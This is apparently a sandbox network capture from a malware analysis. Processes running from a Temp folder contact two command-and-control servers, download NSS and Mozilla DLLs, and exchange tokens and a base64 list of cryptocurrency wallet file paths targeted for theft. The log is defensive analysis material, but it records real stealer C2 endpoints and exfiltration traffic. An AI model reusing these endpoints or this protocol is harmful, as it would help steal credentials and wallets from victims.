r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:10:24.252892017 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:10:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	50066	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:10:26.008137941 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:10:27.408488989 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:10:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	50069	185.215.113.206	80	4612	C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:10:26.690315008 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFBFBFIIJDAKECAKKJEH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 39 38 33 63 37 39 62 36 64 36 35 31 33 34 32 63 66 62 35 36 37 31 36 64 66 31 61 38 38 37 33 61 37 37 36 32 34 38 63 33 36 64 66 39 63 65 31 63 61 33 61 32 37 39 34 66 65 37 61 30 66 39 31 31 30 66 37 65 30 66 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BFBFBFIIJDAKECAKKJEHContent-Disposition: form-data; name="token"95983c79b6d651342cfb56716df1a8873a776248c36df9ce1ca3a2794fe7a0f9110f7e0f------BFBFBFIIJDAKECAKKJEHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BFBFBFIIJDAKECAKKJEHContent-Disposition: form-data; name="file"------BFBFBFIIJDAKECAKKJEH--
Nov 21, 2024 03:10:28.584256887 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:10:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 03:10:29.985831022 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 21, 2024 03:10:30.435616016 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:10:30 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 21, 2024 03:10:30.435666084 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 21, 2024 03:10:30.435683012 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 21, 2024 03:10:30.435781002 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 21, 2024 03:10:30.435798883 CET	896	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Nov 21, 2024 03:10:30.435817003 CET	1236	IN	Data Raw: 10 ff 75 14 ff 75 10 53 56 ff d1 83 c4 10 31 c0 83 c4 04 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 50 68 0c 01 00 00 e8 fe f9 07 00 83 c4 04 31 ff 85 c0 74 71 89 c6 8b 5d 08 c7 40 08 01 00 00 00 8b 43 04 89 46 04 8b 03 89 45 f0 8b 43 04 8b 48 Data Ascii: uuSV1^_[]USWVPh1tq]@CFECHut7FKSrQP;KqSPVi^_[]UhV1]Uh6]
Nov 21, 2024 03:10:30.435837984 CET	1236	IN	Data Raw: 83 fe 02 0f 84 e8 00 00 00 8b 45 ec 04 03 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8b 5d 10 8a 53 02 32 14 0f 8b 4d e4 88 51 02 83 fe 03 0f 84 ac 00 00 00 8b 45 ec 04 04 0f b6 c8 8b 7d f0 8a 14 Data Ascii: E}$7$7u]S2MQE}$7$7u]S2MQttE}$7$7u]S2MQt<E}$7$7u]S2]S
Nov 21, 2024 03:10:30.435856104 CET	1236	IN	Data Raw: d2 f6 c2 01 0f 84 9b 00 00 00 66 0f 6f 1d d0 20 08 10 66 0f fe d8 0b 75 cc 8b 45 10 66 0f 6e 2c 30 66 0f 6e 64 30 04 66 0f ef f6 66 0f 60 ee 66 0f 61 ee 66 0f 60 e6 66 0f 61 e6 66 0f 72 f0 17 66 0f 6f 35 e0 20 08 10 66 0f fe c6 f3 0f 5b c0 66 0f Data Ascii: fo fuEfn,0fnd0ff`faf`fafrfo5 f[fpffpfpffpfbffrf[fpffpfpffpfbfffpffpUff~MU9UEuUM}]?uu]}
Nov 21, 2024 03:10:30.435882092 CET	1236	IN	Data Raw: 07 88 0c 37 00 cd 8b 45 10 8a 40 06 0f b6 cd 32 04 0f 88 43 06 8b 4d ec e9 2e f7 ff ff cc cc cc 55 89 e5 53 57 56 81 ec 5c 01 00 00 89 8d dc fe ff ff 8b 32 89 95 74 ff ff ff 89 b5 f4 fe ff ff 8b 01 89 85 9c fe ff ff 89 c7 01 f7 8b 52 04 89 95 f8 Data Ascii: 7E@2CM.USWV\2tRAA q$]QD1A@1RQP5}gjM31tQIU]U1P
Nov 21, 2024 03:10:30.444061995 CET	1236	IN	Data Raw: ff ff ff 11 f3 89 f8 01 d0 89 d7 89 45 b4 11 cb 89 5d c8 8b b5 64 ff ff ff 31 de 8b 5d 94 31 c3 89 da 0f a4 f2 10 89 55 b0 0f ac f3 10 89 5d 94 8b 75 ec 01 de 89 75 ec 8b 45 e0 11 d0 89 45 e0 31 c1 31 f7 89 c8 0f a4 f8 01 89 45 8c 0f a4 cf 01 89 Data Ascii: E]d1]1U]uuEE11E}tBP`MBTD]HM}]u1uP1Euu11}tOX EO\H}EE}1M1
Nov 21, 2024 03:10:30.444168091 CET	1236	IN	Data Raw: ff ff ff 8b 45 e4 13 85 5c ff ff ff 8b 5d 80 01 df 89 7d d0 8b 55 90 11 d0 89 45 e4 8b 4d b0 31 c1 89 4d b0 8b 75 94 31 fe 8b 7d c4 01 cf 89 7d c4 8b 45 bc 11 f0 89 45 bc 31 fb 31 c2 89 d8 0f a4 d0 08 0f a4 da 08 8b 7d d0 03 bd 30 ff ff ff 8b 4d Data Ascii: E\]}UEM1Mu1}}EE11}0M,}M1M1uuMM11(]uM]MM1U1}MMEE1}1U
Nov 21, 2024 03:10:32.145709038 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 21, 2024 03:10:32.594764948 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:10:32 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 21, 2024 03:10:33.544262886 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 21, 2024 03:10:33.993602037 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:10:33 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 21, 2024 03:10:34.931399107 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 21, 2024 03:10:35.382173061 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:10:35 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 21, 2024 03:10:38.747868061 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 21, 2024 03:10:39.196979046 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:10:38 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 21, 2024 03:10:40.119148970 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 21, 2024 03:10:40.568734884 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:10:40 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 21, 2024 03:10:41.532557964 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJDGCAEBFIIECAKFHIJE Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 21, 2024 03:10:42.712255001 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:10:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 03:10:42.910840988 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKECAEBGHDAEBFHIEGHI Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 43 41 45 42 47 48 44 41 45 42 46 48 49 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 39 38 33 63 37 39 62 36 64 36 35 31 33 34 32 63 66 62 35 36 37 31 36 64 66 31 61 38 38 37 33 61 37 37 36 32 34 38 63 33 36 64 66 39 63 65 31 63 61 33 61 32 37 39 34 66 65 37 61 30 66 39 31 31 30 66 37 65 30 66 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 41 45 42 47 48 44 41 45 42 46 48 49 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 41 45 42 47 48 44 41 45 42 46 48 49 45 47 48 49 2d 2d 0d 0a Data Ascii: ------BKECAEBGHDAEBFHIEGHIContent-Disposition: form-data; name="token"95983c79b6d651342cfb56716df1a8873a776248c36df9ce1ca3a2794fe7a0f9110f7e0f------BKECAEBGHDAEBFHIEGHIContent-Disposition: form-data; name="message"wallets------BKECAEBGHDAEBFHIEGHI--
Nov 21, 2024 03:10:43.362296104 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:10:43 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
